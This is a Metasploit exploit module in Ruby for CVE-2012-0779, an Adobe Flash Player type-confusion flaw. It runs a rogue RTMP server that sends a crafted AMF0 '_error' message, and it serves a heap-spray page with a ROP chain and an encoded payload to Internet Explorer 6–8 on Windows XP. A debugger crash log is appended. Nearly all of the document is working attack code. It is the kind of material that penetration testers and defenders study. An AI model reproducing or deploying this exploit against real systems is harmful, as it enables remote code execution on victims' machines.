1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name=> OperatingSystems::WINDOWS, :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "8.0", :method => "GetVariable", :classid=> "ShockwaveFlash.ShockwaveFlash", :rank => NormalRanking, # reliable memory corruption :javascript => true }) def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Object Type Confusion", 'Description'=> %q{ This module exploits a vulnerability found in Adobe Flash Player.By supplying a corrupt AMF0 "_error" response, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the "World Uyghur Congress Invitation.doc" e-mail attack. According to the advisory, 10.3.183.19 and 11.x before 11.2.202.235 are affected. }, 'License'=> MSF_LICENSE, 'Author' => [ 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0779' ], [ 'OSVDB', '81656'], [ 'BID', '53395' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ] ], 'Payload'=> { #'Space'=> 1024, 'BadChars' => "\x00" }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # Flash Player 11.2.202.228 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop'=> nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 7 on Windows XP SP3', { 'Rop'=> nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt, 'RandomHeap' => false, 'Offset' => '238', 'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll } ] ], 'Privileged' => false, 'DisclosureDate' => "May 04 2012", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]), OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('RTMPPORT',[ true, "The local port to RTMP service listen on.", 1935 ]), ], self.class ) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1]#IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2]#IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3]#IE 8 on Windows XP SP3 else return nil end end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def ret(t) return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll end def popret(t) return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll end def get_rop_chain(t) # ROP chains generated by mona.py - See corelan.be print_status("Using msvcrt ROP") rop = [ 0x77c4e392,# POP EAX # RETN 0x77c11120,# <- *&VirtualProtect() 0x77c2e493,# MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77c2dd6c, 0x77c4ec00,# POP EBP # RETN 0x77c35459,# ptr to 'push esp #ret' 0x77c47705,# POP EBX # RETN 0x00001000,# EBX 0x77c3ea01,# POP ECX # RETN 0x77c5d000,# W pointer (lpOldProtect) (-> ecx) 0x77c46100,# POP EDI # RETN 0x77c46101,# ROP NOP (-> edi) 0x77c4d680,# POP EDX # RETN 0x00000040,# newProtect (0x40) (-> edx) 0x77c4e392,# POP EAX # RETN nop, # NOPS (-> eax) 0x77c12df9,# PUSHAD # RETN ].pack("V*") code = ret(t) code << rand_text(119) code << rop code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem code << payload.encoded offset = 2616 - code.length code << rand_text(offset) code << [ t['StackPivot'] ].pack("V") return code end def get_easy_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x185; z++) { heap_obj.alloc(block); } JS return spray end def get_aligned_spray(t, js_rop, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var nops = unescape("#{js_nops}"); var rop_chain = unescape("#{js_rop}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x1c5; z++) { heap_obj.alloc(block); } JS return spray end def exploit @swf = create_swf # Boilerplate required to handled pivoted listeners comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end @rtmp_listener = Rex::Socket::TcpServer.create( 'LocalHost' => datastore['RTMPHOST'], 'LocalPort' => datastore['RTMPPORT'], 'Comm'=> comm, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, } ) # Register callbacks @rtmp_listener.on_client_connect_proc = Proc.new { |cli| add_socket(cli) print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP") on_rtmp_connect(cli) } @rtmp_listener.start super end def my_read(cli,size,timeout=nil) if timeout.nil? timeout = cli.def_read_timeout end buf = "" ::Timeout::timeout(timeout) { while buf.length < size buf << cli.get_once(size - buf.length) end } buf end def do_handshake(cli) c0 = my_read(cli, 1) c1 = my_read(cli, 1536) # HandshakeSize => 1536 s0 = "\3" # s0 s1 = Rex::Text.rand_text(4) # s1.time s1 << "\x00\x00\x00\x00" # s1.zero s1 << Rex::Text.rand_text(1528) # s1.random_data s2 = c1 # s2 cli.put(s0) cli.put(s1) cli.put(s2) c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536) end def on_rtmp_connect(cli) begin do_handshake(cli) request = my_read(cli, 341) # connect request length case request when /connect/ rtmp_header = "\x03" # Chunk Stream ID rtmp_header << "\x00\x00\x00" # Timestamp rtmp_header << "\x00\x00\x71" # Body Size rtmp_header << "\x14" # AMF0 Command rtmp_header << "\x00\x00\x00\x00" # Stream ID # String rtmp_body = "\x02" # String rtmp_body << "\x00\x06" # String length rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number # Array rtmp_body << "\x0a" # AMF Type: Array rtmp_body << "\x00\x00\x00\x05" # Array length: 5 # Array elements rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Crafter Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") +"\x00\x00\x00\x00" # Number trigger = rtmp_header trigger << rtmp_body cli.put(trigger) @rtmp_listener.close_client(cli) end rescue ensure @rtmp_listener.close_client(cli) remove_socket(cli) end end def cleanup super return if not @rtmp_listener begin @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service) if @rtmp_listener.kind_of?(Rex::Socket) @rtmp_listener.close @rtmp_listener.stop end @rtmp_listener = nil rescue ::Exception end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending Exploit SWF") send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' }) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) js = get_aligned_spray(my_target, js_rop, js_nops) else js = get_easy_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf" if datastore['RTMPHOST'] == '0.0.0.0' rtmp_host = Rex::Socket.source_address('1.2.3.4') else rtmp_host = datastore['RTMPHOST'] end rtmp_port = datastore['RTMPPORT'] html = %Q| <html> <head> <script> #{js} </script> </head> <body> <center> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="test" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{swf_uri}" /> <param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}" <embed src="https://www.exploit-db.com/exploits/19369/#{swf_uri}" quality="high" width="1" height="1" name="test" align="middle" allowNetworking="all" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}"> </embed> </object> </center> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end def create_swf path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" ) fd = ::File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end end =begin * Flash Player 11.2.202.228 (348.540): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000 eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00050202 Flash32_11_2_202_228!DllUnregisterServer+0x300e84: 104b1b2d 8b422cmov eax,dword ptr [edx+2Ch] ds:0023:44444470=???????? 0:000> u eip Flash32_11_2_202_228!DllUnregisterServer+0x300e84: 104b1b2d 8b422cmov eax,dword ptr [edx+2Ch] 104b1b30 53pushebx 104b1b31 ffd0calleax =end |